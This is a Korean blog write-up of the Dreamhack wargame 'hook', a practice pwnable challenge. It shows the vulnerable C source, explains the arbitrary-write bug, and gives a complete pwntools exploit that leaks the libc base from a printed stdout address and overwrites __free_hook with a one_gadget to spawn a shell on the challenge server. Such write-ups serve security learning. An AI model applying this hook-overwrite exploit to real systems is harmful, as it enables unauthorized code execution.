[드림핵 시스템 해킹] Wargame : hook

asdf·2025년 1월 13일

pwnable

목록 보기
20/36

문제


풀이


취약점 분석


Full RELRO, Canary, NX가 적용되어 있습니다. Full RELRO가 적용중이므로 hook overwrite를 사용해야 할 것 같습니다.

hook.c도 살펴보겠습니다.

// gcc -o init_fini_array init_fini_array.c -Wl,-z,norelro
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>

void alarm_handler()
{
    puts("TIME OUT");
    exit(-1);
}

void initialize()
{
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);
    signal(SIGALRM, alarm_handler);
    alarm(60);
}

int main(int argc, char *argv[])
{
    long *ptr;
    size_t size;

    initialize();

    printf("stdout: %p\n", stdout);

    printf("Size: ");
    scanf("%ld", &size);

    ptr = malloc(size);

    printf("Data: ");
    read(0, ptr, size);

    *(long *)*ptr = *(ptr + 1);

    free(ptr);
    free(ptr);

    system("/bin/sh");
    return 0;
}

앞의 oneshot 문제와 마찬가지로 stdout의 메모리 주소를 제공해 줍니다. 따라서 libc base를 얻을 수 있습니다. read(0, ptr, size)는 size도 앞에서 입력을 받으므로 ptr에 원하는 만큼의 입력을 받을 수 있습니다.

*(long *)*ptr = *(ptr + 1);

이 부분이 해석하기 좀 어려웠는데 간단히 설명하면 ptr[0]의 위치에 ptr[1]의 값을 저장하는 코드입니다. ptr[0]에 free_hook을 넣고 ptr[1]에 셸을 얻을 수 있는 가젯 혹은 함수를 넣으면 free가 실행될 때 셸을 얻을 수 있습니다.

익스플로잇 실행

먼저 libc_base를 얻어주겠습니다.

from pwn import *

def slog(n, m): return success(': '.join([n, hex(m)]))

p = remote("host1.dreamhack.games", 17009)
e = ELF("./hook")
libc = ELF("./libc-2.23.so")

p.recvuntil("stdout: ")
stdout = int(p.recvline()[:-1], 16)
lb = stdout - libc.symbols["_IO_2_1_stdout_"]
free = lb + libc.symbols["__free_hook"]

이제 read(0, ptr, size)를 통해 구한 free를 적절한 값으로 덮어서 셸을 얻을 수 있습니다. 가장 먼저 떠오르는 방법은 one_gadget을 활용해 셸을 얻는 방법입니다. 또 다른 방법은 hook.c에는 system("/bin/sh")가 존재합니다. 이 문제는 PIE가 적용되어 있지 않으므로 system("/bin/sh")의 주소를 구해 free에 덮어 셸을 얻을 수 있습니다.

#one_gadget ./libc-2.23.so
one_gadget = lb + 0x4527a
#0x0000000000400a11 <+199>: mov edi,0x400aeb
#0x0000000000400a16 <+204>: call 0x400788 <system@plt>
main_system = 0x400a11

p.sendlineafter("Size: ", str(100))

payload = p64(free) + p64(one_gadget)
#payload = p64(free) + p64(main_system)

p.sendlineafter("Data: ", payload)

p.interactive()

둘 중 어느 방법을 사용해도 셸을 얻을 수 있습니다.

아래는 전체 코드입니다.

from pwn import *

def slog(n, m): return success(': '.join([n, hex(m)]))

p = remote("host1.dreamhack.games", 17009)
e = ELF("./hook")
libc = ELF("./libc-2.23.so")

p.recvuntil("stdout: ")
stdout = int(p.recvline()[:-1], 16)
lb = stdout - libc.symbols["_IO_2_1_stdout_"]
free = lb + libc.symbols["__free_hook"]
one_gadget = lb + 0x4527a
main_system = 0x400a11

p.sendlineafter("Size: ", str(100))

payload = p64(free) + p64(one_gadget)
p.sendlineafter("Data: ", payload)

p.interactive()

실행하면 셸을 얻을 수 있습니다.

profile
Rainy Waltz(a_hisa)

0개의 댓글